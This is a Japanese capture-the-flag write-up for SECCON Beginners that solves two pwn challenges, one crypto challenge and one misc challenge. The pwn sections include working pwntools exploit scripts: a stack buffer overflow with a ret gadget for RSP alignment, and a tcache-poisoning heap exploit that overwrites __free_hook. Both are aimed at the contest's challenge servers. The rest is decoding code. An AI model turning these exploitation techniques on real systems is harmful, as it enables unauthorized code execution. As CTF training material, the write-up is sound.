以下の解けた問題のみwriteupを載せます。
- [pwn] Beginner's Stack
- [pwn] Beginner's Heap
- [crypto] R&B
- [misc] emoemoencode
Beginner's Stack
プログラム実行前後のスタックの状態がダンプされるようになっている。 リターンアドレスとbufferのオフセットを考えれば
payload='' payload+='A'*8*5 payload+=p64(0x00400861)
のようなペイロードを送ればよいとわかる。 しかし、実行してみると、
Oops! RSP is misaligned! Some functions such as `system` use `movaps` instructions in libc-2.27 and later. This instruction fails when RSP is not a multiple of 0x10. Find a way to align RSP! You're almost there!
と怒られてしまう。 win呼び出し時にスタックポインターの値が0x10の倍数でないといけないらしい。ここで第一に書き換えるべきリターンアドレスの配置場所は0x00007ffde2cb48f8であるからこれをどうにか8byteずらせばよい。 retがあれば、 win呼び出し時のespが8byteだけずらすことが出来る。 gdb-pedaのropgadgetコマンドを用いてretを探す。
gdb-peda$ ropgadget ret = 0x400626 popret = 0x400728 addesp_8 = 0x400623
したがってエクスプロイトコードは以下
from pwn import * context(os='linux', arch='i386') p = remote('bs.quals.beginners.seccon.jp',9001) payload='' payload+='A'*8*5 payload+=p64(0x00400626) payload+=p64(0x00400861) p.sendline(payload) p.interactive()
Beginner's Heap
heapの動作原理の理解が深まる問題だった。 作問者様のwriteupがわかりやすかったのでそちらを参考にされたい。 以下エクスプロイトコードと重要事項のみ書いておきます。
- chunk headerの構造をおさえる
- tcacheはUSEなchunkのfree時にサイズごとに単方向リストに連結する仕組み
- fdはFREEなchunkのwilderness(data本体)を指し示す
- malloc時にmallocされるchunkのfdがリストすなわちtcacheに連結される
- 今回はheaderのsizeを偽装することでfree時に別のサイズ用のtcacheに連結させられる
from pwn import * import time context(os='linux', arch='i386') p = remote('bh.quals.beginners.seccon.jp',9002) def write(s): p.sendline("1") time.sleep(0.1) p.sendline(str(s)) time.sleep(0.1) def malloc(s): p.sendline("2") time.sleep(0.1) p.sendline(str(s)) time.sleep(0.1) def free(): p.sendline("3") time.sleep(0.1) p.recvuntil("hook>: ") free_hook=int(p.recv(14),16) p.recvuntil("win>: ") win=int(p.recv(14),16) malloc("A") free() payload=p64(0)*3 payload+=p64(0x31) payload+=p64(free_hook) write(payload) malloc("A") free() malloc(p64(win)) free() p.interactive()
R&B
フラグは以下の手順にそってエンコードされる
したがってencoded_flagの先頭がBなので先頭のBを取り除いた文字列をbase64でデコード
→さらに得られた文字列の先頭がBならばさらにbase64でデコード...
という風にすればよい。
import base64 import codecs nexts='BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==' while True: top=nexts[0] encoded_string=nexts[1:] if top=='B' : nexts=base64.b64decode(encoded_string.encode('utf-8')) elif top=='R' : nexts=codecs.decode(encoded_string,'rot13') else : break print(nexts)
emoemoencode
問題文↓(❓)
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
ググってもそんなエンコード方式存在しなかった...。
まず文字コードを何らかの方法で変換していると予測。
一文字目から順にUnicodeを確認する。
“🍣” (U+1F363) “🍴” (U+1F374) ...
これに対し、変換元の文字列はctf4b{~}の形式だろうから
"c" (U+0063) "t" (U+0074) ...
これより下二桁のみに注目すれば良いとわかる。
s='🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽' a="" for t in s: a+=chr(ord(t)%128) print(a)